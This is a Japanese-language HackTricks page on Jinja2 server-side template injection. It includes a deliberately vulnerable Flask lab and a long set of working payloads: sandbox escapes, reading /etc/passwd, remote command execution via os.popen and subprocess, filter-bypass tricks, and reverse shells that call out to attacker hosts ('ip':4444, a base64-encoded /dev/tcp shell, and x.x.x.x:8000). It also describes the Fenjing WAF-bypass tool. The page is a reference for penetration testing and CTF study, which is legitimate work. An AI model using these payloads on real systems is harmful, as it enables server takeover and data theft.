17 KiB
Jinja2 SSTI
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングのトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを送信してください。
ラボ
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Misc
デバッグステートメント
Debug Extensionが有効になっている場合、現在のコンテキストや利用可能なフィルターとテストをダンプするためのdebug
タグが利用可能になります。これは、デバッガを設定せずにテンプレートで使用できるものを確認するのに便利です。
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
すべての設定変数をダンプする
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Jinja Injection
まず第一に、Jinjaインジェクションでは、サンドボックスから脱出する方法を見つける必要があり、通常のPython実行フローにアクセスを回復する必要があります。そのためには、サンドボックスからアクセス可能な非サンドボックス環境のオブジェクトを悪用する必要があります。
グローバルオブジェクトへのアクセス
例えば、コードrender_template("hello.html", username=username, email=email)
では、オブジェクトusernameとemailは非サンドボックスのPython環境から来ており、サンドボックス環境内でアクセス可能です。
さらに、サンドボックス環境から常にアクセス可能な他のオブジェクトもあります。これらは:
[]
''
()
dict
config
request
Recovering <class 'object'>
次に、これらのオブジェクトから、定義されたクラスを回復するために、<class 'object'>
に到達する必要があります。これは、このオブジェクトから__subclasses__
メソッドを呼び出し、サンドボックス化されていないpython環境のすべてのクラスにアクセスできるためです。
そのオブジェクトクラスにアクセスするには、クラスオブジェクトにアクセスし、次に**__base__
、__mro__()[-1]
またはmro()[-1]
のいずれかにアクセスする必要があります。そして、このオブジェクトクラスに到達した後、__subclasses__()
を呼び出します**。
これらの例を確認してください:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Escaping
回復した <class 'object'>
と __subclasses__
を呼び出したことで、ファイルを読み書きしたり、コードを実行したりするためにこれらのクラスを使用できるようになりました。
__subclasses__
の呼び出しにより、数百の新しい関数にアクセスする機会が得られました。私たちは、ファイルクラスにアクセスしてファイルを読み書きすることや、コマンドを実行することを許可するクラス(例えば os
)にアクセスできるクラスを使用することで満足します。
リモートファイルの読み書き
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
より多くのクラスを使用してエスケープする方法については、確認できます:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
フィルターバイパス
一般的なバイパス
これらのバイパスは、いくつかの文字を使用せずにオブジェクトの属性にアクセスすることを可能にします。
以前の例でこれらのバイパスのいくつかをすでに見ましたが、ここで要約します:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- グローバルオブジェクトにアクセスするためのオプションはこちらに戻ってください
- オブジェクトクラスにアクセスするためのオプションはこちらに戻ってください
- オブジェクトクラスなしでRCEを取得するにはこれを読んでください
HTMLエンコーディングの回避
デフォルトでは、Flaskはセキュリティ上の理由からテンプレート内のすべてをHTMLエンコードします:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
safe
フィルターを使用すると、ページにJavaScriptやHTMLをHTMLエンコードされることなく注入できます。次のように:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
悪意のある設定ファイルを書いてRCEを実行する。
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
いくつかの文字なし
Without {{
.
[
]
}}
_
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Jinja Injection without <class 'object'>
グローバルオブジェクトから、そのクラスを使用せずにRCEに到達する別の方法があります。
これらのグローバルオブジェクトから関数にアクセスできれば、__globals__.__builtins__
にアクセスでき、そこからRCEは非常に簡単です。
request
、config
、およびアクセス可能な他の興味深いグローバルオブジェクトから関数を見つけることができます。
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
一度いくつかの関数を見つけたら、次のようにしてビルトインを復元できます:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjing https://github.com/Marven11/Fenjing は、CTFに特化したツールですが、実際のシナリオで無効なパラメータをブルートフォースするのにも役立ちます。このツールは、フィルターを検出するために単語やクエリをスプレーし、バイパスを探し、インタラクティブなコンソールも提供します。
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
参考文献
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- ここでブラックリストに載っている文字をバイパスするためのattrトリックを確認してください.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
{% hint style="success" %}
AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、練習する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。